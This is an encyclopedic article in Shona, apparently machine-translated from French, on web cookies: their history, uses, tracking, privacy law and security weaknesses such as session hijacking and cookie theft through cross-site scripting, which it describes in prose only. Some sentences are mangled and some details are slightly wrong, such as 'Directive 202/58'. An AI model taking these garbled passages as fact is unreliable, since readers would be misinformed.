in ,

Internet Cookie: Chii? Tsanangudzo, Mavambo, Mhando uye Zvakavanzika

Ndeipi basa rekiki, chii uye ndeapi marudzi emakuki? đŸȘ

Internet Cookie: Chii? Tsanangudzo, Mavambo, Mhando uye Zvakavanzika
Internet Cookie: Chii? Tsanangudzo, Mavambo, Mhando uye Zvakavanzika

Un cookie kana web cookie (kana cookie, akapfupikiswa se chapupu muQuebec) inotsanangurwa neHTTP yekutaurirana protocol sekutevedzana kweruzivo rwunotumirwa neHTTP sevha kune mutengi weHTTP, iyo yekupedzisira inodzosa pese painobvunzwa sevha yeHTTP mune mamwe mamiriro.

Cookie inofanana nea diki remavara faira rakachengetwa pane terminal yemushandisi weInternet. Iripo kweanopfuura makore makumi maviri, ivo vanobvumira vanogadzira webhusaiti kuchengetedza data revashandisi kuitira kuti vafambise kufamba kwavo uye kubvumidza mamwe maitiro. Makuki agara ane gakava rakawanda nekuti ane ruzivo rwakasara rwemunhu rwunogona kushandiswa nevechitatu mapato.

Inotumirwa semusoro weHTTP newebhu server kuwebhu browser iyo inoidzosera isina kuchinjika pese painowana sevha. Cookie inogona kushandiswa an authentication, chikamu (nyika kugadzirisa), uye nokuda chengetedza ruzivo rwemushandisi, sezvido zvesaiti kana zviri mungoro yekutenga yemagetsi. Izwi rokuti kuki rinotorwa kubva magic cookie, pfungwa inozivikanwa muUNIX computing, iyo yakafuridzira pfungwa uye zita re browser cookies. Dzimwe nzira shoma dzemakuki dziripo, imwe neimwe iine mashandisiro ayo, zvakanakira uye zvayakaipira.

Kuve akareruka mameseji mafaira, makuki haaitike. Havasi kwete spyware kana mavhairasi, kunyange makiki kubva kune mamwe masayiti anoonekwa nevakawanda anti-virus software nekuti anobvumira vashandisi kurondwa pavanoshanyira nzvimbo dzakawanda. 

Mabhurawuza mazhinji emazuva ano anobvumira vashandisi kuita sarudza kubvuma kana kuramba makuki. Vashandisi vanogona zvakare sarudza kuti makuki anochengetwa kwenguva yakareba sei. Nekudaro, kurambwa kwakakwana kwemakuki kunoita kuti mamwe masaiti asashande. Semuenzaniso, chengetedza ngoro dzekutenga kana masaiti anoda kupinda uchishandisa zvitupa (username uye password).

Zviri mukati

historique

Izwi kudzayi rinobva pazwi rechirungu magic cookie, iyo ipakiti ye data iyo purogiramu inogamuchira uye inodzoka isina kuchinja. Makuki akange atoshandiswa muIT apo Lou Montulli vaive nepfungwa yekuvashandisa mukutaurirana pawebhu muna June 1994. Panguva iyoyo, aishanda neNetscape Communications, iyo yakanga yagadzira e-commerce application yemutengi. Macookies akapa mhinduro kudambudziko rekuvimbika kwechitoro chekutenga ngoro yekutenga.

John Giannandrea naLou Montulli vakanyora Netscape yekutanga cookie yakatarwa gore iroro. Shanduro 0.9 beta yeMosaic Netscape, yakaburitswa muna Gumiguru 13, 1994, yakabatanidzwa. cookie teknolojia (ona chinyorwa) Yekutanga (isina-yekuedza) kushandiswa kwemakuki kwaive kuona kana vashanyi vewebhusaiti yeNetscape vakamboshanyira saiti. Montulli yakaisa chikumbiro chehunyanzvi hwekuki tekinoroji muna 1995, uye US patent 5774670 yakapihwa. yakapihwa muna 1998.

Mushure mekushandiswa muNetscape 0.9 beta muna 1994, makuki akabatanidzwa muInternet Explorer 2, yakaburitswa muna Gumiguru 1995.

Kuunzwa kwemakuki hakusati kwave kuzivikanwa zvakanyanya kune veruzhinji. Kunyanya, makuki akagamuchirwa nekusarudzika mubrowser marongero, uye vashandisi havana kuziviswa nezvekuvapo kwavo. Vamwe vanhu vaiziva nezvekuvapo kwemakuki kumativi ekutanga kwekota ye1995, asi vanhu vose vakangotora kuvapo kwavo mushure mokunge Financial Times yakabudisa chinyorwa musi waFebruary 12, 1996. Mugore rimwe chetero, makiki akagamuchira zvakanyanya kutariswa nevezvenhau. nekuda kwekupindira kwekuvanzika kunogona kuitika. Nyaya yemakuki yakakurukurwa mukubvunzana kuviri kweAmerican Federal Trade Commission muna 1996 na1997.

Kugadziridzwa kweiyo official cookie specification yanga yatotanga. Hurukuro dzokutanga dzezvido zvepamutemo dzakaitwa muna April 1995 pawww-talk post list. Boka rakakosha reIETF rakaumbwa. Zvikumbiro zviviri zvekuunza nyika kune HTTP transaction zvakakurudzirwa naBrian Behlendorf naDavid Kristol zvakateerana, asi boka racho, rinotungamirwa naKristol pachake, rakafunga kushandisa Netscape yakatarwa sepokutangira. Muna Kukadzi 1996, boka rekushanda rakaona kuti yechitatu bato makuki aive akanyanya kutyisidzira kuvanzika. Tsanangudzo yakaitwa neboka iri yakazoburitswa se RFC 2109.

Kubva pakupera kwa2014, tinoona banner nezve makuki pane akawanda saiti. Iko kune imwechete browser yekuwedzera iyo inobvumira iyo banner haina kuratidzwa.

Mhando dzeMakuki uye Mashandisirwo

Session management

Makuki anogona kushandiswa kuchengetedza data remushandisi panguva yekufambisa, asiwo nekushanya kwakawanda. Macookies akaunzwa kuti ape nzira yekushandisa ngoro dzekutengesa dzemagetsi, mudziyo unoshanda umo mushandisi anogona kuunganidza zvinhu zvaanoda kutenga achitsvaga saiti.

Mazuva ano, mapurogiramu akaita sengoro dzekutengesa panzvimbo ino chengetedza rondedzero yezvinhu mudhatabhesi pane sevha, izvo zviri nani; pane kuvachengeta mucookie pachayo. Iyo webhu server inotumira cookie ine yakasarudzika chikamu ID. Webhurawuza inozodzosera ID yechikamu ichi pachikumbiro chega chega chinotevera uye zvinhu zviri mudengu zvinochengetwa uye zvakabatana neiyi yakasarudzika ID yechikamu.

Kuwanzo shandisa makuki kunobatsira pakupinda musaiti uchishandisa magwaro. Muchidimbu, sevha yewebhu inotanga kutumira cookie ine yakasarudzika chikamu ID. Ipapo vashandisi vanopa zvitupa zvavo (kazhinji zita rekushandisa uye password). Iyo webhu application inobva yasimbisa chikamu uye inobvumira mushandisi kuwana iyo sevhisi.

personalization

Makuki anogona kushandiswa kurangarira ruzivo nezve mushandisi wesaiti, kuitira kumuratidza zvakakodzera mune ramangwana. Semuenzaniso, sevha yewebhu inogona kutumira cookie ine zita rekupedzisira rinoshandiswa kupinda pawebhusaiti iyoyo, kuti zita rekushandisa rigone kugarwa pachine nguva yekushanya.

Mazhinji mawebhusaiti anoshandisa makuki emunhu anoenderana nezvinodiwa nemushandisi. Vashandisi vanosarudza zvavanoda mufomu uye vanoendesa izvi kune server. Sevha inoisa zvaunofarira mucookie uye inoidzosera kubrowser. Zvadaro, pese apo mushandisi anowana peji resaiti ino, bhurawuza inodzosa kuki uye saka rondedzero yezvaunofarira; sevha inogona kuzogadzirisa peji zvinoenderana nezvinodiwa nemushandisi. Semuenzaniso, webhusaiti yeWikipedia inobvumira vashandisi vayo kusarudza ganda resaiti ravanoda. Injini yekutsvaga yeGoogle inobvumira vashandisi vayo (kunyangwe vasina kunyoreswa) kusarudza nhamba yemhedzisiro yavanoda kuona pane yega yega mhinduro peji.

Tracking

Kutsvaga makuki anoshandiswa kuteedzera maitiro ekubhurawuza evashandisi veinternet. Izvi zvinogona zvakare kuitwa muchidimbu nekushandisa IP kero yekombuta uchikumbira peji kana kushandisa iyo 'referrer' HTTP musoro unotumirwa nemutengi nechikumbiro chega chega, asi makuki anobvumira kunyatsojeka. Izvi zvinogona kuitwa sezvinotevera muenzaniso:

  1. Kana mushandisi akadana peji pane saiti, uye chikumbiro chisina cookie, sevha inofungidzira kuti iyi ndiyo yekutanga peji yakashanyirwa nemushandisi. Sevha inobva yagadzira tambo isina kujairika uye inotumira kune browser pamwe chete nepeji yakakumbirwa.
  2. Kubva panguva ino, iyo cookie inotumirwa otomatiki nebrowser pese painodanwa peji nyowani yesaiti. Sevha inotumira peji semazuva ese, asi zvakare ichaisa iyo URL yepeji inonzi, zuva, nguva yekukumbira uye cookie mune regi faira.

Nekutarisa iyo faira regi, zvinokwanisika kuona kuti ndeapi mapeji akashanyirwa nemushandisi uye nehurongwa hupi. Semuenzaniso, kana faira riine zvikumbiro zvishoma zvakaitwa pachishandiswa id=abc cookie, izvi zvinogona kuratidza kuti zvese izvi zvikumbiro zvinobva kumushandisi mumwechete. Iyo URL yakakumbirwa, zuva uye nguva yakabatana nezvikumbiro inobvumira kubhurawuza kwemushandisi kuteverwa.

Wechitatu-bato makuki uye mabhikoni ewebhu, anotsanangurwa pazasi, zvakare anogonesa kuteedzera munzvimbo dzakasiyana siyana. Single saiti yekutevera inowanzo shandiswa kune zviverengero zvinangwa. Kusiyana neizvi, kuronda nzvimbo dzakasiyana siyana uchishandisa wechitatu bato makuki kunowanzo shandiswa nemakambani ekushambadza kugadzira ma profiles asingazivikanwe (awo anobva ashandiswa kuona kuti ndezvipi zvishambadzo zvinofanirwa kuratidzwa kumushandisi pamwe nekumutumira maemail anoenderana nezvishambadzo izvi - SPAM. )

Kutsvaga makuki injodzi yekupindirwa kwekuvanzika kwevashandisi asi inogona kubviswa nyore. Mabhurawuza mazhinji emazuva ano anosanganisira sarudzo yekudzima otomatiki makuki kana uchivhara application.

Wechitatu makeke

Mifananidzo nezvimwe zvinhu zviri papeji rewebhu zvinogona kugara pamasevha akasiyana neanotambira peji. Kuti uratidze peji, browser inodhawunirodha zvese izvi zvinhu. Mazhinji mawebhusaiti ane ruzivo kubva kwakasiyana zvinyorwa. Semuyenzaniso, kana ukanyora www.example.com mubrowser yako, panowanzova nezvinhu kana zvishambadzo pachikamu chepeji chinobva kwakasiyana, kureva kubva kune imwe nzvimbo pane www..example.com. "Chekutanga" makuki ebato makuki anoiswa nedomeini yakanyorwa mubhurawuza kero kero. Wechitatu-bato makuki anoiswa neimwe yepeji zvinhu zvinobva kune imwe dura.

Nekumisikidza, mabhurawuza akaita seMozilla Firefox, Microsoft Internet Explorer uye Opera anogamuchira echitatu-bato makuki, asi vashandisi vanogona kushandura marongero mumasarudzo ebrowser kuti avavhare. Iko hakuna njodzi yekuchengetedza inowanikwa mune yechitatu-bato makuki inogonesa kushanda kwewebhu, zvisinei iyo inoshandiswawo kuteedzera vashandisi. kubva saiti kuenda kune saiti.

Zvishandiso zvakaita seGhostery zviripo kune ese mabhurawuza anosanganisira Google Chrome anogona kuvharira kuchinjana pakati pevechitatu mapato.

Implementation

Kudyidzana kunokwanisika pakati pewebhu browser uye sevha inobata peji rewebhu. Sevha inotumira cookie kubrowser uye bhurawuza rinoitumira zvakare kana yadaidza rimwe peji.
Kudyidzana kunokwanisika pakati pewebhu browser uye sevha inobata peji rewebhu. Sevha inotumira cookie kubrowser uye bhurawuza rinoitumira zvakare kana yadaidza rimwe peji.

Makuki zvidimbu zvidiki zve data zvinotumirwa newebhu server kune browser. Iyo bhurawuza inovadzosera isina kuchinjika kune sevha, ichiunza mamiriro (yeuko yezviitiko zvakapfuura) mune imwe neimwe isingaite HTTP transaction. Pasina makuki, kudzoserwa kwega kwega peji rewebhu kana chikamu chewebhu peji chiitiko chega, chakazvimiririra pane zvimwe zvikumbiro zvakaitwa panzvimbo imwecheteyo. Pamusoro pekukwanisa kusetwa newebhu server, makuki anogona zvakare kusetwa nemitauro yekunyora seJavaScript, kana ichitsigirwa uye ichibvumidzwa nebrowser.

Iyo yepamutemo cookie inotsanangurwa inoratidza kuti mabhurawuza anofanirwa kuchengetedza uye kutumira huwandu hushoma hwemakuki. Kunyanya, bhurawuza rinofanira kukwanisa kuchengeta angangoita mazana matatu makuki emakirobhayithi mana imwe neimwe, uye angangoita makumi maviri makuki kune imwechete sevha kana domain.

Maererano nechikamu 3.1 che RFC 2965, Mazita ekukuki haanzwisisike.

cookie inogona kutsanangura zuva rekupera kwayo, mune iyo nyaya iyo cookie ichabviswa pazuva iri. Kana iyo cookie isingatauri zuva rekupera, cookie inobviswa pakarepo kana mushandisi asiya browser yake. Naizvozvo, kutsanangura zuva rekupera inzira yekuita kuti cookie irarame kuburikidza nezvikamu zvakawanda. Nechikonzero ichi, makuki ane zuva rekupera basa anonzi ari persist. Muenzaniso application: saiti yekutengesa inogona kushandisa makuki anoenderera kurekodha zvinhu izvo vashandisi vakaisa mungoro yavo yekutenga (muchokwadi, iyo kuki inogona kureva yekupinda yakachengetwa mudhatabhesi panzvimbo yekutengesa, uye kwete mukombuta yako) . Kuburikidza nenzira iyi, kana vashandisi vakasiya browser yavo vasina kutenga vodzokera kwairi gare gare, vanozokwanisa kuwana zvinhu zviri mungoro zvakare. Kana makuki aya asina kupa zuva rekupera, aipera kana browser yavharwa, uye ruzivo rwezviri mukati mutswanda rwaizorasika.

Makuki anogona kuganhurirwa muchikamu kune yakatarwa domain, subdomain kana nzira pane server yakaasika.

Kufambiswa kwemapeji ewebhu kunoitwa pachishandiswa HyperText Transfer Protocol (HTTP). Nekuregeredza makuki, mabhurawuza anodaidza peji kubva kumaseva ewebhu nekuvatumira mameseji mapfupi anonzi HTTP chikumbiro. Semuenzaniso, kuti uwane peji iyi www.example.org/index.html, mabhurawuza anobatana neserver www.example.org uye kutumira chikumbiro chinoita seizvi:

GET /index.html HTTP/1.1Host: www.example.org
navigateur→serveur

Sevha inopindura nekutumira peji yakakumbirwa, inotangirwa nemavara akafanana, iyo yose ichidanwa HTTP mhinduro. Iri pakiti rinogona kunge riine mitsara inoraira bhurawuza kuchengeta makuki:

HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=value
(HTML peji)
navigateur←serveur

Sevha inongotumira iyo Set-Cookie mutsara, kana sevha ichida kuti browser ichengete kuki. Set-Cookie chikumbiro chebrowser kuchengetedza zita = kukosha tambo uye idzorere mune zvese zvikumbiro zvenguva yemberi kune server. Kana bhurawuza richitsigira makuki uye makuki akagoneswa mubrowser sarudzo, iyo cookie inoverengerwa mune zvese zvinotevera zvikumbiro zvakaitwa kune imwechete server. Semuyenzaniso, bhurawuza inodaidza peji iyi www.example.org/news.html nekutumira chikumbiro chinotevera kuseva www.example.org:

GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valueGamuchira: */*
navigateur→serveur

Ichi chikumbiro cheimwe peji kubva kune imwechete server, uye inosiyana neyekutanga pamusoro nekuti ine tambo yakambotumirwa sevha kubrowser. Kutenda kune izvi zvinoreva, sevha inoziva kuti chikumbiro ichi chakabatana nechakapfuura. Sevha inopindura nekutumira iyo yakadanwa peji, uye zvakare nekuwedzera mamwe makuki kwairi.

Kukosha kwekuki kunogona kuchinjwa nesevha nekutumira mutsara mutsva Set-Cookie: zita=new_value mukupindura peji yakadanwa. Bhurawuza rinobva ratsiva kukosha kwekare neitsva.

Mutsetse weSet-Cookie unowanzo gadzirwa nechirongwa cheCGI kana mumwe mutauro wekunyora, kwete nesevha yeHTTP. Iyo HTTP sevha (semuenzaniso: Apache) inongoendesa mhedzisiro yechirongwa (gwaro rinotungamirwa nemusoro une makuki) kune browser.

Makuki anogona zvakare kusetwa neJavaScript kana mimwe mitauro yakafanana inomhanya mubrowser, i.e. kudivi revatengi kwete kudivi reseva. MuJavaScript, chinhu chinonzi document.cookie chinoshandiswa kuita izvi. Semuenzaniso, statement document.cookie = "temperature=20" inogadzira cookie inonzi "temperature" uye ine kukosha kwe20.

Muenzaniso wemhinduro yeHTTP kubva kugoogle.com, inoseta kuki ine hunhu.
Muenzaniso wemhinduro yeHTTP kubva kugoogle.com, inoseta kuki ine hunhu.

Pamusoro pezita/value pair, cookie inogonawo kunge iine expiry date, nzira, zita rezita uye rudzi rwekubatanidza rwakanangwa, kureva yakajairika kana encrypted. RFC 2965 inotsanangurawo kuti makuki anofanirwa kuve nenhamba yevhezheni inosungirwa, asi izvi hazviwanzo kusiiwa. Izvi zvikamu zve data zvinotevera zita = new_value pair uye zvakapatsanurwa nemasemicolon. Semuenzaniso, cookie inogona kugadzirwa neserver nekutumira Set-Cookie mutsara: zita = nyowani_value; expires=date; nzira=/; domain=.example.org.

Makuki anopera uye anozosatumirwa nebrowser kune server mumamiriro anotevera:

  • Kana bhurawuza rakavharwa, kana cookie isingarambe iripo.
  • Kana zuva rekupera kwecookie rapfuura.
  • Kana zuva rekupera kwecookie rashandurwa (nesevha kana script) kuita zuva rekare.
  • Kana bhurawuza radzima kuki nekukumbira kwemushandisi.

Mamiriro echitatu anobvumira maseva kana zvinyorwa kudzima cookie zvakajeka. Ziva kuti zvinogoneka neGoogle Chrome webbrowser kuziva zuva rekupera kweimwe cookie nekuwana zvigadziriso zvemukati. Cookie yakachengetedzwa pakombuta inogona kunyatsogara ipapo kwemakumi emakore akati wandei kana pasina maitiro anotorwa kuidzima.

Stereotypes

Kubva pakuunzwa kwavo paInternet, mazano mazhinji nezve makuki akatenderera paInternet uye munhau. Muna 1998, CIAC, yeUnited States Dhipatimendi reMagetsi ekuongorora zviitiko zvekombuta, yakaona kuti kuchengetedzwa kwekiki "kwaisavepo" uye yakatsanangura kuti "ruzivo rwekwakabva kushanya kwako uye ruzivo rwemapeji ewebhu awashanyira. yatovepo mumafaira elogi emaseva ewebhu”. Muna 2005, Jupiter Research yakaburitsa mhedzisiro yeongororo, umo chikamu chikuru chevakabvunzwa vakafunga zvinotevera zvirevo:

  • Cookies akafanana utachiwana, vanotapurira vashandisi 'hard drive.
  • Cookies kugadzira buda.
  • Makuki anoshandiswa kutumira spam.
  • Makuki anoshandiswa chete kushambadzira.

Makuki haakwanise kudzima kana kuverenga ruzivo kubva pakombuta yemushandisi. Nekudaro, makuki anoita kuti zvikwanise kuona mapeji ewebhu anoshanyirwa nemushandisi pane yakapihwa saiti kana seti yemasaiti. Ruzivo urwu runogona kuunganidzwa muchimiro chemushandisi chinogona kushandiswa kana kutengeswa kune vechitatu mapato, izvo zvinogona kuunza zvakakomba zvakavanzika. Mamwe ma profiles haazivikanwe, mupfungwa yekuti haana ruzivo rwemunhu, asi kunyangwe iwo maprofiles anogona kuve asina chokwadi.

Zvinoenderana nechidzidzo chimwe chete, chikamu chikuru chevashandisi veInternet havazive kudzima makuki. Chimwe chezvikonzero chinoita kuti vanhu vasavimbe makuki ndechekuti mamwe mawebhusaiti akashandisa zvisizvo iyo yekuzivisa yekikuki uye akagovana ruzivo urwu nemamwe masosi. Chikamu chikuru chekushambadzira kwakanangwa uye email isina kukumbirwa, inoonekwa se spam, inobva kune ruzivo rwakatorwa kubva mukutevera makuki.

Browser marongero

Mabhurawuza mazhinji anotsigira makuki uye anobvumira mushandisi kuadzima. Sarudzo dzakajairika ndeidzi:

  • Gonesa kana kudzima makuki zvachose, kuitira kuti agare achigamuchirwa kana kuvharwa.
  • Bvumira mushandisi kuti aone makuki anoshanda mune peji rakapihwa, nekuisa javascript: alert(document.cookie) mukero bar yebrowser. Mamwe mabhurawuza anosanganisira maneja ekuki yemushandisi anogona kuona uye kusarudza kudzima makuki akachengetwa parizvino nebrowser.

Mabhurawuza mazhinji anobvumirawo kudzima kuzere kwedata remunhu rinosanganisira makuki. Mamwe mamodule ekudzora mvumo yecookie iripo zvakare.

Yakavanzika uye Yechitatu-Bato Makuki

Mumuenzaniso uyu wekunyepedzera, kambani yekushambadzira yakaisa mabhana pamawebhusaiti maviri. Nekugashira mabhana pamasevha ayo uye nekushandisa wechitatu bato makuki, kambani yekushambadzira inokwanisa kuteedzera mafambiro emushandisi kuburikidza nemasaiti maviri aya.

Makuki ane zvakakosha zvakakosha pakuvanzika uye kusazivikanwa kwevashandisi vewebhu. Kunyangwe makuki achingodzoserwa kuseva yakaaseta kana sevha yenzvimbo imwe chete yeInternet, peji rewebhu rinogona kunge riine mifananidzo kana zvimwe zvikamu zvakachengetwa pamaseva emamwe madomasi. Makiki akaiswa panguva yekudzoreredzwa kwezvikamu zvekunze zvinonzi wechitatu makiki. Izvi zvinosanganisira makuki kubva kusingadiwe pop-up windows.

Makambani ekushambadzira anoshandisa wechitatu bato makuki kuteedzera vashandisi munzvimbo dzakasiyana siyana dzavanoshanyira. Kunyanya, kambani yekushambadzira inogona kuteedzera mushandisi pamapeji ese kwayakaisa mifananidzo yekushambadzira kana pixel yekutevera. Ruzivo rwemapeji akashanyirwa nemushandisi anobvumira kambani yekushambadzira kunanga zvido zvekushambadzira zvemushandisi.

Iko kugona kuvaka chimiro chemushandisi kunoonekwa nevamwe sekupinda kwekuvanzika, kunyanya kana kuronda kuchiitwa munzvimbo dzakasiyana siyana uchishandisa wechitatu bato makuki. Nechikonzero ichi, dzimwe nyika dzine mutemo wekuki.

Hurumende yeUnited States yakadzika mitemo yakasimba pakuiswa kwemakuki muna 2000, mushure mekunge zvaburitswa pachena kuti White House Drug Policy Office yaishandisa makuki kuronda makomputa evashandisi vanoona zvishambadzo zvezvinodhaka zvepamhepo. Muna 2002, murwiri wekuvanzika Daniel Brandt akawana kuti CIA yakasiya makuki anoenderera pamakomputa akange ashanyira mawebhusaiti ayo. Kana yangoudzwa nezvekutyorwa uku, CIA yakazivisa kuti makuki aya haana kutumirwa nemaune uye akarega kuamisa. Musi waZvita 25, 2005, Brandt akawana kuti National Security Agency (NSA) yakanga yasiya makuki maviri anoramba aripo pamakomputa evashanyi nekuda kwekuvandudza software. Mushure mekuziviswa, NSA yakabva yadzima makuki.

MuUnited Kingdom, the Cookie mutemo ", yakatanga kushanda muna Chivabvu 25, 2012, inosungira masayiti kuti ataure zvavanoda, zvichibvumira vashandisi kuti vasarudze kana vachida kusiya mavara kana kusasiya nzira yavo paInternet. Ivo vanogona nokudaro kuchengetedzwa kubva pakunangwa kwekushambadzira. Zvisinei, maererano ne The Guardian, mvumo yevashandisi veInternet haina kujeka; shanduko dzakaitwa kumatemu emvumo yemushandisi, achizviita zvichireva kudaro.

Directive 2002/58 pane zvakavanzika

Directive 202/58 kuvanzika uye zvemagetsi kutaurirana, ine mitemo yekushandiswa kwemakuki. Kunyanya, chinyorwa 5, ndima 3 yekuraira uku inoda kuti kuchengetwa kwedata (senge makuki) mukombuta yemushandisi kunogona kuitwa chete kana:

  • mushandisi anoziviswa nezve mashandisirwo e data;
  • mushandisi anopiwa sarudzo yekuramba basa rekuchengetedza iri. Nekudaro, chinyorwa ichi chinotaurawo kuti kuchengetwa kwedata nekuda kwezvikonzero zvehunyanzvi hakuna pamutemo uyu.

Nekuda kwekushandiswa kubva muna Gumiguru 2003, rairo iyi yakangove isina kunyatso shandiswa maererano neshumo yaDecember 2004, iyo yakaratidzawo kuti dzimwe Nhengo dzeNyika (Slovakia, Latvia, Greece, Belgium neLuxembourg) dzakanga dzisati dzashandura kuraira mumutemo wepamba.

Zvinoenderana nemaonero eG29 muna 2010, rairo iyi, iyo inonyanya kumisa kushandiswa kwemakuki nekuda kwezvinangwa zvekushambadzira, nemvumo yemushandisi weInternet inoramba ichishanda zvisina kunaka. Muchokwadi, mawebhusaiti mazhinji anoita izvi nenzira isingaenderane nekuraira, nekudzikamisa ivo kune nyore "banner" kuzivisa nezve kushandiswa kwe "cookies" pasina kupa ruzivo nezve mashandisiro, pasina kusiyanisa pakati pe "technical" makuki. "kutevera" makuki, kana kupa sarudzo chaiyo kumushandisi anoda kuchengetedza tekinoroji makuki (seyekutenga ngoro manejimendi makuki) uye kuramba "kutevera" makuki. Muchokwadi, mawebhusaiti mazhinji haashande nemazvo kana makuki akarambwa, izvo zvisingaenderane nekuraira 2002/58 kana dhairekitori 95/46 (Kudzivirirwa kwedata remunhu).

Directive 2009/136/EC

Ichi chinyorwa chakagadziridzwa neDirective 2009/136/EC yaNovember 25, 2009 iyo inotaura kuti "kuchengetwa kweruzivo, kana kuwana ruzivo kune ruzivo rwakatochengetwa, mumagetsi ekupedzisira emunyoreri kana mushandisi anobvumidzwa chete kana iyo munyoreri kana mushandisi akapa mvumo yake, mushure mekugamuchira, maererano neDirective 95/46/EC, ruzivo rwakajeka uye rwakakwana, pakati pevamwe nechinangwa chekugadzirisa ”. Iyo dhairekitori nyowani saka inosimbisa zvisungo usati waisa makuki pakombuta yemushandisi weInternet.

Mukufunga kwekutanga kwechirairo, mumiriri weEuropean anotsanangura zvakadaro: "Kana zvichigoneka uye zvichibudirira, zvinoenderana nezvinodiwa zveDirective 95/46/EC, mvumo yemushandisi ine chekuita nekugadziriswa inogona kuratidzwa kuburikidza ne kushandisa zvigadziriso zvakakodzera zvebrowser kana imwe application". Asi kutaura zvazviri, hapana bhurawuza kusvika parizvino rinoita kuti zvikwanise kusiyanisa makuki akakosha ehunyanzvi kubva kune akasarudzika ayo anofanirwa kusiiwa kusarudzo yemushandisi.

Murairo mutsva uyu wakafambiswa nenhengo dzeparamende dzeBelgian muna Chikunguru 2012. Ongororo yakaitwa muna 2014 inoratidza kuti kunyangwe vamiriri veparamende vanonetsekana kunyorera. zvisungo zvedirective.

P3P

Iyo P3P yakatarwa inosanganisira kugona kwesevha kutaura mutemo wekuvanzika, iyo inotsanangura rudzi rweruzivo rwainounganidza uye nechinangwa chei. Aya marongero anosanganisira (asi haana kugumira ku) kushandiswa kweruzivo rwakaunganidzwa uchishandisa makuki. Zvinoenderana netsanangudzo dzeP3P, bhurawuza rinogona kugamuchira kana kuramba makuki nekuenzanisa marongero ekuvanzika nezvido zvemushandisi kana nekubvunza mushandisi, ichipa chirevo chekuvanzika chakaziviswa neseva.

Mabhurawuza mazhinji, anosanganisira Apple Safari neMicrosoft Internet Explorer shanduro 6 ne7, anotsigira P3P iyo inobvumira bhurawuza kuona kana yobvuma kuchengetwa kwecookie. Iyo Opera bhurawuza inobvumira vashandisi kuramba makuki ebato rechitatu uye kugadzira chimiro chepasirese uye chakasarudzika chekuchengetedza nzvimbo dzeInternet. Mozilla Firefox vhezheni 2 yakadonhedza rutsigiro rweP3P asi yakadzosera muvhezheni 3.

Wechitatu-bato makuki anogona kuvharwa nemabhurawuza mazhinji kuti awedzere kuvanzika uye kuderedza kuteedzera ad, pasina kukanganisa ruzivo rwemushandisi pawebhu. Mazhinji masangano ekushambadzira anopa sarudzo sarudza kunze kushambadza kwakanangwa, nekumisikidza generic cookie mubrowser iyo inodzima tarisiro iyi, asi mhinduro yakadaro haishande, kana ichiremekedzwa, nekuti iyi generic cookie inodzimwa kana mushandisi adzima makuki aya anodzima sarudzo. kunze chisarudzo.

Kuipa kwekiki

Pamusoro penyaya dzekuvanzika, makuki anewo zvimwe zvinokanganisa zvehunyanzvi. Kunyanya, ivo havawanzo kuzivisa vashandisi nenzira kwayo, vanogona kunonoka kuita kwesaiti kana yakawanda, vanogona kushandiswa pakurwisa kuchengetedzwa, uye vanopokana nemumiriri wenyika kutamiswa, maitiro ekugadzira software.

Chiziviso chisina kujeka

Kana inopfuura browser imwe yakashandiswa pakombuta, mune imwe neimwe yadzo pane nguva dzose yakaparadzana yekuchengetedza unit yekiki. Makuki saka haazivise munhu, asi musanganiswa weakaundi yemushandisi, komputa, uye web browser. Nekudaro, chero munhu anogona kushandisa maakaundi aya, makomputa, kana mabhurawuza ane panoply yemakuki. Saizvozvo, makuki haasiyanise pakati pevashandisi vakawanda vanogovana imwechete mushandisi account, komputa, uye browser, senge mu "internet cafes" kana chero nzvimbo inopa mukana wemahara kune zviwanikwa zvekombuta.

Asi mukuita chirevo ichi chinoshanduka kuva chemanyepo muzviitiko zvakawanda nekuti nhasi komputa "yako" (kana smartphone, kana tablet, izvo zvakanyanya kuipa) inoshandiswa zvakanyanya nemunhu mumwe chete. kuburikidza nehuwandu hweruzivo rwakaunganidzwa inosvika kune yakanangana nemunhu kunyangwe munhu asina "kureva" kuzivikanwa.

Cookie inogona kubiwa neimwe komputa pane network.

Panguva yekushanda kwakajairika, makuki anodzoserwa pakati pesevha (kana boka remaseva munzvimbo imwe chete) nebrowser yemukombuta yemushandisi. Sezvo makuki anogona kuve neruzivo rwakadzama (zita remushandisi, password inoshandiswa kusimbisa, nezvimwewo), hunhu hwavo haufanirwe kuwanikwa kune mamwe makomputa. Cookie kuba chiitiko chekubira makuki nemunhu asina mvumo wechitatu.

Makuki anogona kubiwa kuburikidza nepacket sniffer mukurwiswa kunonzi kubiwa kweseshini. Traffic pamambure inogona kubvumwa nekuverengwa nemakomputa kunze kweaya anotumira nekugamuchira (kunyanya pane isina kuvharirwa yeruzhinji Wi-Fi nzvimbo). Iyi traffic inosanganisira makuki anotumirwa pamusoro pesesheni uchishandisa iyo yakajeka HTTP protocol. Kana network traffic isina kuvharirwa, vashandisi vane hutsinye vanogona saka kuverenga kutaurirana kwevamwe vashandisi pane network vachishandisa "packet sniffers".

Dambudziko iri rinogona kukundwa nekuvharidzira kubatana pakati pekombuta yemushandisi neseva uchishandisa HTTPS protocol. Sevha inogona kutsanangura a mureza wakachengeteka paunenge uchigadzira cookie; browser inongoitumira pamusoro pemutsara wakachengeteka, senge SSL yekubatanidza.

Zvakadaro mawebhusaiti mazhinji, kunyangwe achishandisa HTTPS yakavharidzirwa kutaurirana kune yechokwadi yemushandisi (kureva peji rekupinda), gare gare tumira masesheni makuki uye imwe data seyakajairwa, kuburikidza isina kuvharirwa HTTP yekubatanidza nekuda kwezvikonzero zvakanaka. Varwi vanogona nekudaro kubata makuki evamwe vashandisi vovatevedzera panzvimbo dzakakodzera saiti kana kuvashandisa mukurwisa makuki.

Kunyora pasaiti: cookie inofanirwa kungochinjana pakati pesevha nemutengi inotumirwa kune mumwe munhu wechitatu.

Imwe nzira yekubira makuki ndeyekunyora masaiti uye kuita kuti bhurawuza pachayo itumire makuki kumaseva ane hutsinye asingamboagamuchire. Mabhurawuza emazuva ano anobvumira kuitwa kwezvikamu zvakatsvakwa zvekodhi kubva kuseva. Kana makuki akawanikwa panguva yekumhanya, hunhu hwavo hunogona kutaurirwa mune imwe fomu kune maseva asingafanirwe kuwana iwo. Kunyora makuki asati atumirwa pamusoro petiweki hakubatsire kukanganisa kurwiswa.

